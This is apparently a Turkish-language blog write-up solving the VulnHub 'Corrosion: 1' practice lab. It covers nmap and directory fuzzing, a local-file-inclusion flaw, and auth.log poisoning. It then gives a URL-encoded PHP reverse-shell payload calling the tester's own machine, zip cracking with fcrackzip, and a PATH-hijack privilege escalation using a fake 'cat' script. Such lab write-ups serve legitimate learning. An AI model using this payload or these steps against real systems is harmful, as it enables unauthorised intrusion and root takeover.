Corrosion 1 Nedir?
Esenlikler,
Corrosion 1, benim gibi sızma testlerini öğrenmek ve bu alanda kendini geliştirmek isteyenler için VulnHub platformunda yayınlanmış, çeşitli zafiyetler barındıran bir sistemdir.
Sistemi indirmek için Corrosion: 1 bağlantısını kullanabilirsiniz.
Gerekli kurulum işlemlerini tamamladıktan sonra, hedef sistemimizle ilgili sızma testi aşamalarına geçebilirsiniz.
Keşif
İlk olarak, hedef sistemin DHCP'den aldığı IP adresini tespit etmemiz gerekiyor. Bu aşamada, Nmap aracını kullanarak hedef sistemin IP adresini belirlemeye çalışacağım. Bunun için bir ping taraması gerçekleştireceğim.
Bu işlem, belirttiğim IP aralığındaki tüm adreslere ICMP paketi göndererek gelen veya gelmeyen yanıtları analiz eder ve hangi sistemlerin aktif olduğunu belirler.
nmap -sP 172.16.13.0/24
Hedef sistemin IP adresini 172.16.13.134 olarak tespit ettim.
Hedef Sistemde Hangi Servisler Çalışıyor?
Hedef sistemde hangi servislerin çalıştığını öğrenerek sistem hakkında bilgi toplamaya çalışıyorum. Bunun için yine Nmap aracını kullanacağım ve hedef sistemde well-known portları tarayacağım. Aynı zamanda bu portlarda çalışan servislerin versiyon bilgilerini ve hedef sistemin işletim sistemini de öğrenmeye çalışacağım.
nmap -sT -sV -O 172.16.13.134 -p-
Hedef sistemin bir Linux cihazı olduğunu tespit ettim. Ayrıca, hedef sistemde HTTP ve SSH servislerinin açık olduğunu gördüm. Şimdi, hedef sistemin yayınlamış olduğu web sitesini kontrol ediyorum.
Hedef sistemin sunduğu web sitesini ziyaret ettiğimde, karşıma standart bir Apache2 varsayılan sayfası çıkıyor. Ayrıca, sayfanın kaynak kodlarını incelediğimde dikkat çekici bir not veya ipucu bulunmadığını görüyorum.
Bu sebeple, hedef sistemin alt sayfalar sunup sunmadığını kontrol etmek için çeşitli URL'leri denemek amacıyla Dirb aracını kullanıyorum.
Doğru araç, Doğru Wordlist
dirb http://172.16.13.134 /usr/share/wordlists/dirb/common.txt
Dirb ile yaptığım tarama sonucunda tasks adında bir klasörün olduğunu görüyorum. Bu klasörü incelediğimde ise karşıma tasks_todo.txt dosyası çıkıyor. tasks_todo.txt dosyasının içeriği ise şu şu şekilde:
Kullanıcı muhtemelen takım arkadaşı için bıraktığı bu not üzerinde genel düşüncem şu şekilde: auth.log dosyası sistemde sahip olması gerekenden fazla bir izne sahip. Bu durum, muhtemelen sızma testinin ilerideki aşamalarında yetki yükseltme için kullanılabileceğini düşündürüyor.
Ancak bu noktada ufak bir tıkanma yaşıyorum, çünkü bundan başka düşünülebilecek bir ipucu verilmiyor. Hedef sistemin kullandığı SSH ve HTTP servislerinin versiyon numaraları ile ilgili CVE araması gerçekleştiriyorum; ancak oradan da bir şey çıkmıyor.
Bu noktada Dirb ile başka wordlistler üzerinde tekrar tarama yapıyorum, acaba başka sayfalar var mı diye; ancak yine bir çözüme ulaşamıyorum. Aracı değiştirme kararı alıp Dirbuster aracını kullanmaya karar veriyorum.
Denemelerim sonuç veriyor ve hedef sistemin sunduğu blog-posts klasörünü ve içeriğini buluyorum.
Blog post sayfasından bir şey çıkmıyor, ancak archives altında bulunan randylogs.php dosyasından bir şeyler çıkacağını tahmin ediyorum. Ayrıca, hedef sistemde randy isimli bir kullanıcının olması ihtimali de bir hayli yüksek.
randylogs.php sayfası, hem içerik hem de kaynak kodlarında bir şey bulunmayan boş bir sayfa olarak geliyor.
Sayfa Boş Ne Yapacağım?
Hedef sayfada dürüst olmak gerekirse aradığım gibi bir ipucu bulamadım. Son yaptığım ve yazdığım sızma testi raporlarındaki gibi yorum satırında bir hashlenmiş SSH parolası gibi basit bir yöntemle karşılaşacağımı sanıyordum; ancak işler tam olarak öyle olmadı.
Bu noktada yaptığım internet araştırmaları neticesinde hedef sistemin sunduğu randylogs.php dosyasının alabileceği ek parametreler olduğunu öğrendim. Hedef sisteme bu şekilde ffuf aracıyla bir tarama yapacağım; amacım hedef sistemin hangi ek URL parametrelerini alabileceğini öğrenmek.
ffuf -u http://172.16.13.134/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0
Bu noktada hedefin bir "file" değeri aldığını görüyorum. Bu değer ile hedef sistemin bir dosyasını sayfaya yazdırabildiğimi tespit ediyorum. Ayrıca, randy isimli bir kullanıcının olduğunu da /etc/passwd
dosyasına bakarak kesinleştirmiş oluyorum.
Ufak İpuçlarının Önemi ve Hedefe Erişmek
Hedef sistem üzerinde bir bağlantıya sahip olmak için yapacağımız işlem, kısaca bu URL'e bir adet cmd
parametresi ile reverse shell açmak olacak. Burada önemli olan nokta, bunu alelade bir dosya ile değil, muhtemelen /var/log/auth.log
dizininde bulunan dosya ile yapacağım.
Özellikle auth.log
dosyasını seçmemin nedeni, bu dosyanın özellikle belirtilmiş olması ve yetki konusunda yeterli düzeye sahip olduğunu düşünmem. Çünkü yetkilerin ayarlanması, randy veya randy'nin takım arkadaşı tarafından vurgulanmıştı.
Ayrıca muhtemelen auth.log dosyası root kullanıcısı tarafından oluşturuldu de others yetkileri de 7 seviyesinde bu sayede cmd ile vereceğim reverse shell çalışabilir diye düşünüyorum.
İlk olarak, kendi sistemimde 9001 portunu dinlemeye alıp hedef sistemde çalıştıracağım reverse shell'i oluşturuyorum. Ardından, bu shell komutunu bir URL encoder ile kodlayarak URL'e yapıştırılabilir hale getiriyorum.
http://172.16.13.134/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen(%22172.16.13.135%22%2C9001)%3Bexec(%22sh%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
Bu işlemin ardından dinlediğimiz portta başarılı bir şekilde hedef sisteme shell bağlantısı açmış oluyoruz.
Randy Olmaya Çalışmak
Hedef sisteme başarıyla shell açtık; ancak, normal olarak www-data kullanıcısı olduğumuz için çok fazla yetkimiz yok. Ayrıca, auth.log dosyasının adm grubuna ait olduğunu ve others (diğerleri) için okuma ve çalıştırma yetkisini de görüyorum.
Hedef sistemde biraz gezinmeye başlıyorum. Uzunca gezinmemin ardından backups klasörüne bakmak için locate komutunu kullanıyorum ve dikkatimi user_backups.zip dosyası çekiyor.
locate backup
user_backup.zip dosyasının bulunduğu klasöre gidip bu zip dosyasını çıkartmak istiyorum, ancak zip şifreli. İçinde my_password.txt ve easysysinfo.c dosyalarının bulunduğunu görüyorum. Bir sonraki aşamanın bu dosyayı bir şekilde açmak olduğunu düşünüyorum.
Ancak bu zip dosyasının şifresini kırmak için fcrackzip gibi bir yazılıma ihtiyacım var. Ancak sistem üzerinde www-data kullanıcısı olarak uygulama indiremem; çünkü hali hazırda root kullanıcısının parolasını şu anda bilmiyorum.
Zip'i Almak
Ufak bir araştırmanın ardından www-data kullanıcısı olarak python3 komutunu kullanabildiğimi fark ediyorum. Python3'ü kullanarak bir HTTP hizmetini belirttiğim bir porta ayağa kaldırabilir ve bu sayede dosyayı kendi ana cihazıma indirerek fcrackzip aracıyla şifresini çözebilirim.
user_backup.zip dosyasını indirip fcrackzip ile parolasını kırmak için şu komutu çalıştırıyorum.
fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
Birkaç saniye bekledikten sonra fcrackzip, benim için zip dosyasının parolasını buluyor.
Randy Olmak
Zip dosyasından çıkardığım dosyalar içerisinde my_password.txt ve easysysinfo.c dosyaları dikkatimi çekmişti. Beklenildiği üzere my_password.txt dosyası randy kullanıcısının parolasını içeriyor. Ancak easysysinfo.c dosyasının içeriğine baktığımda ise şunları görüyorum:
Muhtemelen easysysinfo.c dosyası başka bir ipucu olacak; ancak şimdilik ilk işim, SSH ile randy kullanıcısı olarak hedef sisteme bağlanmak. Hedef sisteme giriş yaptığımda ise içinde rastgele sayılar bulunan bir user.txt dosyası ve bir tools klasörü beni karşılıyor.
Root Olmak
Tools klasöründe ise easysysinfo ve easysysinfo.py dosyalarını görüyorum. easysysinfo dosyasının içeriğini açmak istediğimde normal olarak karma karışık bir karakter dizini görüyorum, ancak hali hazırda biz bu dosyanın nasıl çalıştığını biliyorduk. Ayrıca easysysinfo root kullanıcısının oluşturduğu bir dosya olduğu için yetki yükseltmek adına bu dosya üzerinden bir işlem yapmayı deniyorum.
Easysysinfo dosyasının içeriğini göstermek gerekirse:
Burada kuracağımız yapı kısaca şu şekilde. Easysysinfo.c dosyasında cat
komutu kullanılmış ancak cat
komutunun tam path'i verilmemiş. Yani, eğer path'i siler ve easysysinfo dosyasının bulunduğu dizinde cat
dosyası ile shell komutunu verirsem, doğal olarak sistem benim için root kullanıcı ile bir shell oturumu açacaktır.
İlk başta Path
değerini değiştiriyorum.
Ardından bir cat
dosyası oluşturarak içerisine şu komutları veriyorum; ancak siz benim gibi ilk olarak cat
'i oluşturup sonra Path
'i değiştirin, yoksa nano
gibi terminal üzerinden dosya düzenleme aracına alışıksanız, Path
'de nano olmadığı için hata alacaksınız.
#!/bin/bash
/bin/bash
chmod +x cat
İle cat
dosyasına çalıştırılabilirlik yetkisi veriyorum. Ardından easysysinfo
dosyasını çalıştırıyorum. Kendi içerisinde cat
'i çalıştıracağı için bana direkt olarak root kullanıcısı olarak bir shell oturumu açacak.
Ardından PATH
'i eski haline getirip root kullanıcısının home klasörüne gidiyorum. Orada bulduğum root.txt
dosyasını yazdırdığımda ise:
Ya Şanssız Olsaydım
Genel olarak eğlendiğim ve kendime bir şeyler kattığımı hissettiğim zevkli bir sızma testiydi. Ancak kafamda merak ettiğim bir şey var: Eğer en başta doğru aracı ya da doğru wordlist'i bulamasaydım nasıl bir yol izlerdim? Ayrıca, bir kullanıcının parolasını bir .txt
dosyasında tutması, gerçeklikle biraz uzaklaştırıyor sızma testini; ancak her şeye rağmen gerçekten keyif aldım. Bu sistemi hazırlarken emeği geçen herkese teşekkür ediyorum.
Teşekkürler
Buraya kadar yazımı okuduğunuz için size de teşekkürü bir borç bilirim. Bir sonraki yazımı paylaşana kadar esen kalın.